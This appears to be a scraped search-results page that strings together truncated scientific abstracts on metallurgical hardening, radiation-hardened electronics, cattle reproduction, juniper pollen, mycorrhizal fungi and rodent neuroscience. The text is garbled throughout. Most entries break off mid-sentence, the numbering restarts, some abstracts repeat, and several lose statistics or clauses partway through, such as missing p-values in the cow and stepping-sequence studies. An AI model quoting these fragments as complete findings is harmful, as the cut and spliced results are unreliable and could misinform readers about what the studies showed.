structure of imitated heat affected zone (HAZ) on intensity of precipitation hardening at repeated heating are presented as well as the results of the process of relaxation of residual stresses at welded joints samples heating carried out by automatic welding under the flux with the use of adding materials and technology of manufacturing of vessels of WWER-440 and WWER-1000 reactors. Peculiarities of the hardening at repeated heating of the HAZ metal imitated at these steels. Precipitation hardening of overheated 15Kh2MFA steel is connected with precipitations at repeated heating of carbides of the M 7 C 3 , M 3 C and VC type. Stress relaxation in welded joints runs more intensively at the initial stage of repeated heating, i.e. during the same period of the process of dispersed carbide precipitations 8. Increased body condition score through increased lean muscle, but not fat deposition, is associated with reduced reproductive response to oestrus induction in beef cows. Science.gov (United States) Guzmán, A; Gonzalez-Padilla, E; Garcés-Yepez, P; Rosete-Fernández, J V; Calderón-Robles, R C; Whittier, W D; Keisler, D H; Gutierrez, C G 2016-10-01 Energy reserve, estimated as body condition score (BCS), is the major determinant of the re-initiation of ovarian activity in postpartum cows. Leptin, IGF-I and insulin are positively related to BCS and are putative mediators between BCS and reproductive function. However, when BCS and body composition dissociates, concentrations of these metabolic hormones are altered. We hypothesized that increasing lean muscle tissue, but not fat tissue, would diminish the reproductive response to oestrus induction treatments. Thirty lactating beef cows with BCS of 3.10±1.21 and 75.94±12 days postpartum were divided in two groups. Control cows (n=15) were supplemented with 10.20 kg of concentrate daily for 60 days. Treated cows (n=15) were supplemented equally, and received a β-adrenergic receptor agonist (β-AA; 0.15 mg/kg BW) to achieve accretion of lean tissue mass and not fat tissue mass. Twelve days after ending concentrate supplementation/β-AA treatment, cows received a progestin implant to induce oestrus. Cows displaying oestrus were inseminated during the following 60 days, and maintained with a fertile bull for a further 21 days. Cows in both groups gained weight during the supplementation period (Daily weight gain: Control=0.75 kg v. β-AA=0.89 kg). Cows treated with β-AA had a larger increase in BCS (i.e. change in BCS: control=1 point (score 4.13) v. β-AA=2 points (score 5.06; P0.05) did not differ between groups. However, the number of cows displaying oestrus (control 13/15 v. β-AA 8/15; P<0.05) and the percentage cycling (control 6/8 v. β-AA 3/10; P=0.07) after progestin treatment and the pregnancy percentage at the end of the breeding period (control 13/15 v. β-AA 8/15; P<0.05) were lower in β-AA than control cows. In summary, the increase BCS through muscle tissue accretion, but not through fat tissue accretion, resulted in a lower response to oestrus induction, lower percentage of cycling animals and lower pregnancy percentage after progestin treatment 9. CHANGES IN PHYSIOLOGICAL TREMOR RESULTING FROM SLEEP DEPRIVATION UNDER CONDITIONS OF INCREASING FATIGUE DURING PROLONGED MILITARY TRAINING OpenAIRE A. Tomczak; J. Gajewski; J Mazur–Różycka 2015-01-01 The aim of the study was to define the changes of the characteristics of physiological postural tremor under conditions of increasing fatigue and lack of sleep during prolonged military training (survival).The subjects of the study were 15 students of the Polish Air Force Academy in Dęblin. The average age was 19.9±1.3 years. During the 36-hour-long continuous military training (survival) the subjects were deprived of sleep. Four tremor measurements were carried out for each of the subjects: ... 10. Effect of explosion hardening on the properties of the near-surface layer of glow-discharged nitrided 33H3MF steel International Nuclear Information System (INIS) Rudnicki, J.; Fleszar, A.; Wierzchon, T.; Maranda, A.; Nowaczewski, J. 1999-01-01 The study was concerned with the effect of explosion hardening of 33H3MF steel, realized by the impact of the detonation products of a metallic plate driven by the detonation of an explosive plastic material, upon the microhardness and thickness of the nitrided layers forming during the glow discharge assisted nitridation process. Nitrided layers containing a compound zone, diffusion layers and layers with braunite content were formed on explosion-hardened steel surfaces. The corrosion resistance of the nitrided layers thus obtained was compared with that of the layers formed on non-hardened surfaces and on non-hardened and nitrided surfaces. The layers examined have a higher corrosion resistance than the starting material, but lower than the nitrided layers formed without the explosive load. The impact strength of the steel samples was examined before and after the explosion hardening and also after glow discharge assisted nitriding. It has been found that the explosion hardening followed by nitriding increases the impact strength, which is an advantageous effect. This also gives evidence that the changes in the hardness and structure of the samples examined, which are only observed in the layers whose thickness falls between 0.1 and 1.5 mm do not affect the notch present on the sample surface and thus have no influence upon the character of the sample fracture. (author) 11. Arbuscular Mycorrhizal Fungi Increase the Phenolic Compounds Concentration in the Bark of the Stem of Libidibia Ferrea in Field Conditions. Science.gov (United States) Dos Santos, Emanuela Lima; Alves da Silva, Francineyde; Barbosa da Silva, Fábio Sérgio 2017-01-01 Libidibia ferrea is a species particular to the caatinga presenting medicinal properties for containing bioactive compounds. The use of Arbuscular Mycorrhizal Fungi (AMF) can increase the production of biomolecules in the legume leaves; however, no light has been shed on the role of symbiosis in maximizing metabolites production in the bark of L. ferrea stem. The aim was to select AMF that are efficient at increasing the production of phenolic compounds with medicinal properties in the bark of the L. ferrea stem. The experiment was designed in randomized blocks with four inoculation treatments (plants pre-inoculated with Claroideoglomus etunicatum , with Gigaspora albida , with Acaulospora longula , and non-inoculated plants - control) with six repetitions. Thirteen months after the transplanting, the plants were pruned and the bark of the stem was collected; subsequently, this plant material was dried in a chamber. After the drying process, fractions of the bark of the stem were macerated in methanol. The extracts were further used for analyses of the biomolecules. The flavonoids concentration had an increase of, respectively, 236% and 186% in relation to the control for the treatments with A. longula and C. etunicatum ; plants inoculated with A. longula had an increase of 47% in total tannins concentration compared with the non-inoculated control - a benefit that the proanthocyanidins did not present. Applying inoculation with A. longula may be an alternative to increase the production of biomolecules of the secondary metabolism in the bark of the L. ferrea stem in field conditions. 12. Increasing Juniperus virginiana L. pollen in the Tulsa atmosphere: long-term trends, variability, and influence of meteorological conditions Science.gov (United States) Flonard, Michaela; Lo, Esther; Levetin, Estelle 2018-02-01 In the Tulsa area, the Cupressaceae is largely represented by eastern red cedar ( Juniperus virginiana L.). The encroachment of this species into the grasslands of Oklahoma has been well documented, and it is believed this trend will continue. The pollen is known to be allergenic and is a major component of the Tulsa atmosphere in February and March. This study examined airborne Cupressaceae pollen data from 1987 to 2016 to determine long-term trends, pollen seasonal variability, and influence of meteorological variables on airborne pollen concentrations. Pollen was collected through means of a Burkard sampler and analyzed with microscopy. Daily pollen concentrations and yearly pollen metrics showed a high degree of variability. In addition, there were significant increases over time in the seasonal pollen index and in peak concentrations. These increases parallel the increasing population of J. virginiana in the region. Pollen data were split into pre- and post-peak categories for statistical analyses, which revealed significant differences in correlations of the two datasets when analyzed with meteorological conditions. While temperature and dew point, among others were significant in both datasets, other factors, like relative humidity, were significant only in one dataset. Analyses using wind direction showed that southerly and southwestern winds contributed to increased pollen concentrations. This study confirms that J. virginiana pollen has become an increasing risk for individuals sensitive to this pollen and emphasizes the need for long-term aerobiological monitoring in other areas. 13. Microstructure-property relationships and constitutive response of plastically graded case hardened steels Science.gov (United States) Klecka, Michael A. 14. Simulated gastrointestinal conditions increase adhesion ability of Lactobacillus paracasei strains isolated from kefir to Caco-2 cells and mucin. Science.gov (United States) Bengoa, Ana Agustina; Zavala, Lucía; Carasi, Paula; Trejo, Sebastián Alejandro; Bronsoms, Silvia; Serradell, María de Los Ángeles; Garrote, Graciela Liliana; Abraham, Analía Graciela 2018-01-01 15. Increased extracellular matrix density decreases MCF10A breast cell acinus formation in 3D culture conditions. Science.gov (United States) Lance, Amanda; Yang, Chih-Chao; Swamydas, Muthulekha; Dean, Delphine; Deitch, Sandy; Burg, Karen J L; Dréau, Didier 2016-01-01 The extracellular matrix (ECM) contributes to the generation and dynamic of normal breast tissue, in particular to the generation of polarized acinar and ductal structures. In vitro 3D culture conditions, including variations in the composition of the ECM, have been shown to directly influence the formation and organization of acinus-like and duct-like structures. Furthermore, the density of the ECM appears to also play a role in the normal mammary tissue and tumour formation. Here we show that the density of the ECM directly influences the number, organization and function of breast acini. Briefly, non-malignant human breast MCF10A cells were incubated in increasing densities of a Matrigel®-collagen I matrix. Elastic moduli near and distant to the acinus structures were measured by atomic force microscopy, and the number of acinus structures was determined. Immunochemistry was used to investigate the expression levels of E-cadherin, laminin, matrix metalloproteinase-14 and ß-casein in MCF10A cells. The modulus of the ECM was significantly increased near the acinus structures and the number of acinus structures decreased with the increase in Matrigel-collagen I density. As evaluated by the expression of laminin, the organization of the acinus structures present was altered as the density of the ECM increased. Increases in both E-cadherin and MMP14 expression by MCF10A cells as ECM density increased were also observed. In contrast, MCF10A cells expressed lower ß-casein levels as the ECM density increased. Taken together, these observations highlight the key role of ECM density in modulating the number, organization and function of breast acini. Copyright © 2013 John Wiley & Sons, Ltd. 16. OPTIMAL practice conditions enhance the benefits of gradually increasing error opportunities on retention of a stepping sequence task. Science.gov (United States) Levac, Danielle; Driscoll, Kate; Galvez, Jessica; Mercado, Kathleen; O'Neil, Lindsey 2017-12-01 Physical therapists should implement practice conditions that promote motor skill learning after neurological injury. Errorful and errorless practice conditions are effective for different populations and tasks. Errorful learning provides opportunities for learners to make task-relevant choices. Enhancing learner autonomy through choice opportunities is a key component of the Optimizing Performance through Intrinsic Motivation and Attention for Learning (OPTIMAL) theory of motor learning. The objective of this study was to evaluate the interaction between error opportunity frequency and OPTIMAL (autonomy-supportive) practice conditions during stepping sequence acquisition in a virtual environment. Forty healthy young adults were randomized to autonomy-supportive or autonomy-controlling practice conditions, which differed in instructional language, focus of attention (external vs internal) and positive versus negative nature of verbal and visual feedback. All participants practiced 40 trials of 4, six-step stepping sequences in a random order. Each of the 4 sequences offered different amounts of choice opportunities about the next step via visual cue presentation (4 choices; 1 choice; gradually increasing [1-2-3-4] choices, and gradually decreasing [4-3-2-1] choices). Motivation and engagement were measured by the Intrinsic Motivation Inventory (IMI) and the User Engagement Scale (UES). Participants returned 1-3 days later for retention tests, where learning was measured by time to complete each sequence. No choice cues were offered on retention. Participants in the autonomy-supportive group outperformed the autonomy-controlling group at retention on all sequences (mean difference 2.88s, p errorful (4 choice) sequence (p error opportunities over time, suggest that participants relied on implicit learning strategies for this full body task and that feedback about successes minimized errors and reduced their potential information-processing benefits. Subsequent 17. Cat odor causes long-lasting contextual fear conditioning and increased pituitary-adrenal activation, without modifying anxiety. Science.gov (United States) Muñoz-Abellán, Cristina; Daviu, Nuria; Rabasa, Cristina; Nadal, Roser; Armario, Antonio 2009-10-01 A single exposure to a cat or cat odors has been reported by some groups to induce contextual and auditory fear conditioning and long-lasting changes in anxiety-like behaviour, but there is no evidence for parallel changes in biological stress markers. In the present study we demonstrated in male rats that exposure to a novel environment containing a cloth impregnated with cat fur odor resulted in avoidance of the odor, lower levels of activity and higher pituitary-adrenal (PA) response as compared to those exposed to the novel environment containing a clean cloth, suggesting increased levels of stress in the former animals. When re-exposed 9 days later to the same environment with a clean cloth, previously cat fur exposed rats again showed avoidance of the cloth area and lower levels of activity, suggesting development of contextual fear conditioning, which again was associated with a higher PA activation. In contrast, unaltered both anxiety-like behaviour and PA responsiveness to an elevated plus-maze were found 7 days after cat odor exposure. It is concluded that: (i) PA activation is able to reflect both the stressful properties of cat fur odor and odor-induced contextual fear conditioning; (ii) development of cat odor-induced contextual fear conditioning is independent of the induction of long-lasting changes in anxiety-like behaviour; and (iii) greater PA activation during exposure to the odor context is not explained by non-specific sensitization of the PA axis caused by previous exposure to cat fur odor. 18. Radiation Hardened Electronics Destined For Severe Nuclear Reactor Environments Energy Technology Data Exchange (ETDEWEB) Holbert, Keith E. [Arizona State Univ., Tempe, AZ (United States); Clark, Lawrence T. [Arizona State Univ., Tempe, AZ (United States) 2016-02-19 Post nuclear accident conditions represent a harsh environment for electronics. The full station blackout experience at Fukushima shows the necessity for emergency sensing capabilities in a radiation-enhanced environment. This NEET (Nuclear Energy Enabling Technologies) research project developed radiation hardened by design (RHBD) electronics using commercially available technology that employs commercial off-the-shelf (COTS) devices and present generation circuit fabrication techniques to improve the total ionizing dose (TID) hardness of electronics. Such technology not only has applicability to severe accident conditions but also to facilities throughout the nuclear fuel cycle in which radiation tolerance is required. For example, with TID tolerance to megarads of dose, electronics could be deployed for long-term monitoring, inspection and decontamination missions. The present work has taken a two-pronged approach, specifically, development of both board and application-specific integrated circuit (ASIC) level RHBD techniques. The former path has focused on TID testing of representative microcontroller ICs with embedded flash (eFlash) memory, as well as standalone flash devices that utilize the same fabrication technologies. The standalone flash devices are less complicated, allowing better understanding of the TID response of the crucial circuits. Our TID experiments utilize biased components that are in-situ tested, and in full operation during irradiation. A potential pitfall in the qualification of memory circuits is the lack of rigorous testing of the possible memory states. For this reason, we employ test patterns that include all ones, all zeros, a checkerboard of zeros and ones, an inverse checkerboard, and random data. With experimental evidence of improved radiation response for unbiased versus biased conditions, a demonstration-level board using the COTS devices was constructed. Through a combination of redundancy and power gating, the demonstration 19. Inoculation of Schizolobium parahyba with mycorrhizal fungi and plant growth-promoting rhizobacteria increases wood yield under field conditions Directory of Open Access Journals (Sweden) Martha Viviana Torres Cely 2016-11-01 Full Text Available Schizolobium parahyba var. amazonicum (Huber ex Ducke occurs naturally in the Brazilian Amazon. Currently, it is being planted extensively because of its fast growth and excellent use in forestry. Consequently, there is great interest in new strategies to increase wood production. The interaction between soil microorganisms and plants, specifically in the roots, provides essential nutrients for plant growth. These interactions can have growth-promoting effects. In this way, this study assessed the effect of the inoculation with arbuscular mycorrhizal fungi (AMF and plant growth-promoting rhizobacteria (PGPR on growth of S. parahyba var. amazonicum under field conditions. We used two native species of arbuscular mycorrhizal fungi, Claroideoglomus etunicatum (Ce and Acaulospora sp. (Ac; two native strains of Rhizobium sp. (Rh1 and Rh2; and a non-native strain of Burkholderia sp. Different combinations of microorganisms were supplemented with chemical fertilizers (doses D1 and D2 in two planting methods, seed sowing and seedling planting. In seed sowing, the results showed that treatments with Ce/Rh1/Fertilizer D2 and Ac/No PGPR/Fertilizer D2 increased wood yield. In seedling planting, two combinations (Ac/Rh2/Fertilizer D1 and Ac/Rh1/Fertilizer D1 were more effective in increasing seedling growth. In these experiments, inoculation with AMF and PGPR increased wood yield by about 20% compared to the application of fertilizer alone. 20. Inoculation of Schizolobium parahyba with Mycorrhizal Fungi and Plant Growth-Promoting Rhizobacteria Increases Wood Yield under Field Conditions. Science.gov (United States) Cely, Martha V T; Siviero, Marco A; Emiliano, Janaina; Spago, Flávia R; Freitas, Vanessa F; Barazetti, André R; Goya, Erika T; Lamberti, Gustavo de Souza; Dos Santos, Igor M O; De Oliveira, Admilton G; Andrade, Galdino 2016-01-01 Schizolobium parahyba var. amazonicum (Huber ex Ducke) occurs naturally in the Brazilian Amazon. Currently, it is being planted extensively because of its fast growth and excellent use in forestry. Consequently, there is great interest in new strategies to increase wood production. The interaction between soil microorganisms and plants, specifically in the roots, provides essential nutrients for plant growth. These interactions can have growth-promoting effects. In this way, this study assessed the effect of the inoculation with arbuscular mycorrhizal fungi (AMF) and plant growth-promoting rhizobacteria (PGPR) on growth of S. parahyba var. amazonicum under field conditions. We used two native species of arbuscular mycorrhizal fungi, Claroideoglomus etunicatum (Ce), and Acaulospora sp. (Ac); two native strains of Rhizobium sp. (Rh1 and Rh2); and a non-native strain of Burkholderia sp. Different combinations of microorganisms were supplemented with chemical fertilizers (doses D1 and D2) in two planting methods, seed sowing and seedling planting. In seed sowing, the results showed that treatments with Ce/Rh1/Fertilizer D2 and Ac/No PGPR/Fertilizer D2 increased wood yield. In seedling planting, two combinations (Ac/Rh2/Fertilizer D1 and Ac/Rh1/Fertilizer D1) were more effective in increasing seedling growth. In these experiments, inoculation with AMF and PGPR increased wood yield by about 20% compared to the application of fertilizer alone. 1. On the hardenability of Nb-modified metastable beta Ti-5553 alloy Energy Technology Data Exchange (ETDEWEB) Campo, K.N.; Andrade, D.R.; Opini, V.C.; Mello, M.G.; Lopes, E.S.N.; Caram, R., E-mail: [email protected] 2016-05-15 Among the commercially available titanium alloys, the metastable β Ti-5553 alloy (Ti–5Al–5V–5Mo–3Cr–0.5Fe wt.%) is an object of great interest because it is employed in aerospace structural applications, primarily in the replacement of steel components. One of the primary advantages of this alloy is its high hardenability, which allows it to retain the β phase at room temperature, even at low cooling rates, thereby allowing the thermoprocessing of thick parts. The aim of this investigation was to evaluate the effect of the replacement of V with Nb on the hardenability of Ti-5553. Based on the molybdenum equivalent criterion, the Nb-modified Ti-5553 alloy was designed to present 12 wt.% of Nb instead of 5 wt.% of V. Samples of both alloys were prepared by melting them in an arc furnace under an inert atmosphere, heat-treated at high temperatures for 12 h and plastic deformed using swage forging. Finally, these samples were solution heat-treated at temperatures above the β-transus followed by cooling at different rates using water quenching, furnace cooling and a modified Jominy end quench test. Characterization was performed by measuring Vickers hardness, X-ray diffraction, and light optical, scanning electron and transmission electron microscopy. The results obtained indicate that metastable β phase can be retained when the cooling rate is higher than 21 °C/s for both alloys. At lower cooling rates, α phase precipitation was observed, but it appeared to be less evident in the Nb-modified Ti-5553, suggesting that the replacement of V with Nb increased the hardenability of the alloy. - Highlights: • Hardenability of Ti alloys are assessed using a modified Jominy end quench test. • Ti-5553 and Nb-modified Ti-5553 are subjected to continuous cooling experiments. • β phase decomposition kinetics is reduced by replacing V with Nb in Ti-5553. • Nb-modified Ti-5553 features improved hardenability. • Replacement of V with Nb causes the 2. Dynamic iterative beam hardening correction (DIBHC) in myocardial perfusion imaging using contrast-enhanced computed tomography. Science.gov (United States) Stenner, Philip; Schmidt, Bernhard; Allmendinger, Thomas; Flohr, Thomas; Kachelrie, Marc 2010-06-01 only 1 HU for the simulations and the corrected values show an increase of up to 61 HU for the measurements. One iteration of DIBHC greatly reduces the beam hardening artifacts induced by the contrast agent dynamics (and those due to bone) now allowing for an improved assessment of contrast agent uptake in the myocardium which is essential for determining myocardial perfusion. 3. Disorientations and work-hardening behaviour during severe plastic deformation DEFF Research Database (Denmark) Pantleon, Wolfgang 2012-01-01 Orientation differences develop during plastic deformation even in grains of originally uniform orientation. The evolution of these disorientations is modelled by dislocation dynamics taking into account different storage mechanisms. The predicted average disorientation angles across different ty...... pressure torsion, but also rationalizes the work-hardening behaviour at large plastic strains as well as a saturation of the flow stress.... 4. Preparation of Dispersion-Hardened Copper by Internal Oxidation DEFF Research Database (Denmark) Brøndsted, Povl; Sørensen, Ole Toft 1978-01-01 Internal oxidation experiments in CO2/CO atmospheres on Cu-Al alloys for preparation of dispersion-hardened Cu are described. The oxygen pressures of the atmospheres used in the experiments were controlled with a solid electrolyte oxygen cell based on ZrO2 (CaO). The particle size distributions o... 5. Influence of alloying and secondary annealing on anneal hardening ... Unknown Influence of alloying and secondary annealing on anneal hardening effect at sintered copper alloys. SVETLANA NESTOROVIC. Technical Faculty Bor, University of Belgrade, Bor, Yugoslavia. MS received 11 February 2004; revised 29 October 2004. Abstract. This paper reports results of investigation carried out on sintered ... 6. Influence of degree of deformation in rolling on anneal hardening ... Unknown Influence of degree of deformation in rolling on anneal hardening effect of a cast copper alloy. SVETLANA NESTOROVIC, DESIMIR MARKOVIC and LJUBICA IVANIC. Technical Faculty Bor, University of Belgrade, Belgrade, Yugoslavia. MS received 15 May 2003. Abstract. This paper reports results of investigations carried ... 7. Fatigue Hardening and Nucleation of Persistent Slip Bands in Copper DEFF Research Database (Denmark) Pedersen, Ole Bøcker; Winter, A. T. 1982-01-01 A study of fatigue hardening in single crystals of pure copper shows that, before saturation, stress-strain loops can display workhardening rates of about a third of the elastic shear modulus. These rates exceed tensile workhardening rates by roughly two orders of magnitude. This suggests that th... 8. Epoxy modified bitumen : Chemical hardening and its interpretation NARCIS (Netherlands) Apostolidis, P.; Pipintakos, G.; van de Ven, M.F.C.; Liu, X.; Erkens, Sandra; Scarpas, Athanasios 2018-01-01 Epoxy modified bitumen (EMB) is a promising technology for long lasting paving materials ensuring higher resistance to rutting, oxygen- and moisture-induced damage. In this paper, an analysis of the chemical reactions that take place during the chemical hardening process (curing) of epoxy modified 9. New Stainless Steel Alloys for Low Temperature Surface Hardening? DEFF Research Database (Denmark) Christiansen, Thomas Lundin; Dahl, Kristian Vinter; Somers, Marcel A. J. 2015-01-01 The present contribution showcases the possibility for developing new surface hardenable stainless steels containing strong nitride/carbide forming elements (SNCFE). Nitriding of the commercial alloys, austenitic A286, and ferritic AISI 409 illustrates the beneficial effect of having SNCFE presen... 10. The shrinkage of hardening cement paste and mortar NARCIS (Netherlands) Haas, de G.D.; Kreijger, P.C.; Niël, E.M.M.G.; Slagter, J.C.; Stein, H.N.; Theissing, E.M.; Wallendael, van M. 1975-01-01 This paper is an abstract from the report of the commission B10: "The influence of the shrinkage of cement on the shrink-age of concrete", of the Netherlands Committee for Concrete Research. Measurements of pulse velocity, volume shrinkage and heat of hydration on hardening portland cement support 11. Hardening digital systems with distributed functionality: robust networks Science.gov (United States) Vaskova, Anna; Portela-Garcia, Marta; Garcia-Valderas, Mario; López-Ongil, Celia; Portilla, Jorge; Valverde, Juan; de la Torre, Eduardo; Riesgo, Teresa 2013-05-01 Collaborative hardening and hardware redundancy are nowadays the most interesting solutions in terms of fault tolerance achieved and low extra cost imposed to the project budget. Thanks to the powerful and cheap digital devices that are available in the market, extra processing capabilities can be used for redundant tasks, not only in early data processing (sensed data) but also in routing and interfacing1 12. BUSFET - A Novel Radiation-Hardened SOI Transistor International Nuclear Information System (INIS) Dodd, P.E.; Draper, B.L.; Schwank, J.R.; Shaneyfelt, M.R. 1999-01-01 A partially-depleted SOI transistor structure has been designed that does not require the use of specially-processed hardened buried oxides for total-dose hardness and maintains the intrinsic SEU and dose rate hardness advantages of SOI technology 13. Surface Induction Hardening of Axi-Symmetric Bodies Czech Academy of Sciences Publication Activity Database Barglik, J.; Doležel, Ivo; Škopek, M.; Ulrych, B. 2001-01-01 Roč. 1, č. 1 (2001), s. 11-16 ISSN 1335-8243 R&D Projects: GA ČR GA102/01/0184 Grant - others:-(PL) 7T08603716 Keywords : induction heating induction hardening * numerical solution Subject RIV: JA - Electronics ; Optoelectronics, Electrical Engineering 14. Coefficient of work-hardening in stage-IV CSIR Research Space (South Africa) Nabarro, FRN 1994-04-15 Full Text Available The theory of work hardening in stage IV depends on the relation between the relative misorientation Psi of neighbouring subgrains and the plastic strain gamma (Psi = B gamma exp). The value of the constant B is suggested to be better related... 15. Multiaxial ratcheting with advanced kinematic and directional distortional hardening rules Czech Academy of Sciences Publication Activity Database Feigenbaum, H. P.; Dugdale, J.; Dafalias, Y.F.; Kourousis, K. I.; Plešek, Jiří 2012-01-01 Roč. 49, č. 22 (2012), s. 3063-3076 ISSN 0020-7683 R&D Projects: GA MŠk(CZ) ME10024 Institutional research plan: CEZ:AV0Z20760514 Keywords : plasticity * directional distortional hardening * thermodynamics Subject RIV: JJ - Other Materials Impact factor: 1.871, year: 2012 http://www.sciencedirect.com/science/article/pii/S0020768312002612 16. Surface modification on PMMA : PVDF polyblend: hardening under ... Unknown Keywords. Polyblend; surface modification; microhardness; hardening; plasticization; segmental mobility. 1. Introduction. Polymeric materials have a specific feature of stability towards various aggressive chemical environments, which depends on a multiplicity of factors like structure and nature of the polymers and chemical ... 17. Process for hardening synthetic resins by ionizing radiation International Nuclear Information System (INIS) Hesse, W.; Ritz, J. 1975-01-01 Synthetic resins containing hydroxy groups and polymerizable carbon-carbon bonds are reacted with diketenes to yield aceto ester derivatives, which when reacted with metal compounds to form chelates, and mixed with copolymerizable monomers, are capable of being hardened by unusually low radiation doses to form coatings and articles with superior properties. (E.C.B.) 18. Simulation of Hamming Coding and Decoding for Microcontroller Radiation Hardening OpenAIRE Rehab I. Abdul Rahman; Mazhar B. Tayel 2015-01-01 This paper presents a method of hardening the 8051 micro-controller, able to assure reliable operation in the presence of bit flips caused by radiation. Aiming at avoiding such faults in the 8051 micro-controller, Hamming code protection was used in its SRAM memory and registers. A VHDL code has been used for this hamming code protection. 19. AgRP Neurons Can Increase Food Intake during Conditions of Appetite Suppression and Inhibit Anorexigenic Parabrachial Neurons. Science.gov (United States) Essner, Rachel A; Smith, Alison G; Jamnik, Adam A; Ryba, Anna R; Trutner, Zoe D; Carter, Matthew E 2017-09-06 To maintain energy homeostasis, orexigenic (appetite-inducing) and anorexigenic (appetite suppressing) brain systems functionally interact to regulate food intake. Within the hypothalamus, neurons that express agouti-related protein (AgRP) sense orexigenic factors and orchestrate an increase in food-seeking behavior. In contrast, calcitonin gene-related peptide (CGRP)-expressing neurons in the parabrachial nucleus (PBN) suppress feeding. PBN CGRP neurons become active in response to anorexigenic hormones released following a meal, including amylin, secreted by the pancreas, and cholecystokinin (CCK), secreted by the small intestine. Additionally, exogenous compounds, such as lithium chloride (LiCl), a salt that creates gastric discomfort, and lipopolysaccharide (LPS), a bacterial cell wall component that induces inflammation, exert appetite-suppressing effects and activate PBN CGRP neurons. The effects of increasing the homeostatic drive to eat on feeding behavior during appetite suppressing conditions are unknown. Here, we show in mice that food deprivation or optogenetic activation of AgRP neurons induces feeding to overcome the appetite suppressing effects of amylin, CCK, and LiCl, but not LPS. AgRP neuron photostimulation can also increase feeding during chemogenetic-mediated stimulation of PBN CGRP neurons. AgRP neuron stimulation reduces Fos expression in PBN CGRP neurons across all conditions. Finally, stimulation of projections from AgRP neurons to the PBN increases feeding following administration of amylin, CCK, and LiCl, but not LPS. These results demonstrate that AgRP neurons are sufficient to increase feeding during noninflammatory-based appetite suppression and to decrease activity in anorexigenic PBN CGRP neurons, thereby increasing food intake during homeostatic need. SIGNIFICANCE STATEMENT The motivation to eat depends on the relative balance of activity in distinct brain regions that induce or suppress appetite. An abnormal amount of activity in 20. Effect of yield strength on stress corrosion crack propagation under PWR and BWR environments of hardened stainless steels Energy Technology Data Exchange (ETDEWEB) Castano, M.L.; Garcia, M.S.; Diego, G. de; Gomez-Briceno, D. [CIEMAT, Nuclear Fission Department, Structural Materials Program, Avda. Complutense 22, 28040 Madrid (Spain) 2004-07-01 stress corrosion cracking of austenitic stainless steels (SS) and to quantify the effect on the crack propagation rate, an experimental research program was performed using cold and warm worked 304, 316L and 347 SS. Stress corrosion crack growth rate tests, under BWR and PWR environments have been carried out. The results obtained have permitted to determine the yield strength effect in the crack propagation of austenitic stainless steels in PWR and BWR conditions. In addition, similarities on cold work and radiation hardening in enhancing the yield strength and the stress corrosion cracking propagation at high temperature water have been evaluated. (authors) 1. Arbuscular Mycorrhizal Fungi Increase the Phenolic Compounds Concentration in the Bark of the Stem of Libidibia Ferrea in Field Conditions Science.gov (United States) dos Santos, Emanuela Lima; Alves da Silva, Francineyde; Barbosa da Silva, Fábio Sérgio 2017-01-01 Background: Libidibia ferrea is a species particular to the caatinga presenting medicinal properties for containing bioactive compounds. The use of Arbuscular Mycorrhizal Fungi (AMF) can increase the production of biomolecules in the legume leaves; however, no light has been shed on the role of symbiosis in maximizing metabolites production in the bark of L. ferrea stem. Objective: The aim was to select AMF that are efficient at increasing the production of phenolic compounds with medicinal properties in the bark of the L. ferrea stem. Methods: The experiment was designed in randomized blocks with four inoculation treatments (plants pre-inoculated with Claroideoglomus etunicatum, with Gigaspora albida, with Acaulospora longula, and non-inoculated plants – control) with six repetitions. Thirteen months after the transplanting, the plants were pruned and the bark of the stem was collected; subsequently, this plant material was dried in a chamber. After the drying process, fractions of the bark of the stem were macerated in methanol. The extracts were further used for analyses of the biomolecules. Results: The flavonoids concentration had an increase of, respectively, 236% and 186% in relation to the control for the treatments with A. longula and C. etunicatum; plants inoculated with A. longula had an increase of 47% in total tannins concentration compared with the non-inoculated control – a benefit that the proanthocyanidins did not present. Conclusion: Applying inoculation with A. longula may be an alternative to increase the production of biomolecules of the secondary metabolism in the bark of the L. ferrea stem in field conditions. PMID:29204223 2. Conditional inactivation of Brca1 in the mouse ovarian surface epithelium results in an increase in preneoplastic changes International Nuclear Information System (INIS) Clark-Knowles, Katherine V.; Garson, Kenneth; Jonkers, Jos; Vanderhyden, Barbara C. 2007-01-01 Epithelial ovarian cancer (EOC) is thought to arise from the ovarian surface epithelium (OSE); however, the molecular events underlying this transformation are poorly understood. Germline mutations in the BRCA1 tumor suppressor gene result in a significantly increased risk of developing EOC and a large proportion of sporadic EOCs display some sort of BRCA1 dysfunction. Using mice with conditional expression of Brca1, we inactivated Brca1 in the murine OSE and demonstrate that this inactivation results in the development of preneoplastic changes, such as hyperplasia, epithelial invaginations, and inclusion cysts, which arise earlier and are more numerous than in control ovaries. These changes resemble the premalignant lesions that have been reported in human prophylactic oophorectomy specimens from women with BRCA1 germline mutation. We also report that inactivation of Brca1 in primary cultures of murine OSE cells leads to a suppression of proliferation due to increased apoptosis that can be rescued by concomitant inactivation of p53. These observations, along with our finding that these cells display an increased sensitivity to the DNA-damaging agent cisplatin, indicate that loss of function of Brca1 in OSE cells impacts both cellular growth control and DNA-damage repair which results in altered cell behavior manifested as morphological changes in vivo that arise earlier and are more numerous than what can be attributed to ageing 3. Influence of precipitations, buildings and over increase of radioactive emission in the population dose calculation under accident conditions International Nuclear Information System (INIS) Conte, M.C. 1987-01-01 The influence of precipitations is analyzed, as well as of buildings and emission over increase on the dosis produced on the population as a consequence of some postulated accidents in Atucha II nuclear power plant. The following conclusions were achieved: the calculations performed without considering the above mentioned effects are conservative, excluding the case in which the precipitation is very close to the emission source. In this case, the maximal difference observed was 20% for class C and 5% for class D, at 1 km from source, with a decreasing difference according to the distance. The doses calculated without building effect were approximately 25% greater than those calculated considering this effect for class E and 40% for class F, at 1 km from the source. The difference decreases with distance and increases with the stability of atmospheric conditions. This behaviour is also observed with the over increase effect. In this case, the maximal observed differences were of one order of magnitude for class E and three orders for class F, at 1 km from the source. (Author) 4. Creep behavior of Zircaloy cladding under variable conditions International Nuclear Information System (INIS) Matsuo, Y. 1989-01-01 Various creep tests of Zircaloy cladding tubes under variable conditions were conducted to investigate which hardening rule can be applicable for the creep behavior associated with condition changes. The results show that the strain-hardening rule is applicable in general when either the stress or temperature conditions change, provided that a certain amount of creep strain recovery is observed in case of stress drop. In stress reversal conditions, however, softening of the material was observed. Strain rate after stress reversal is much higher than that predicted by the strain-hardening rule. In this case, the modified strain-hardening model, considering a recoverable creep-hardening range together with the strain recovery, predicts the creep behavior well. The applicability of the model is ascertained through a verification test that includes stress reversal, strain recovery, stress changes, and temperature changes 5. Chronically reinforced, operant olfactory conditioning increases the number of newborn GABAergic olfactory 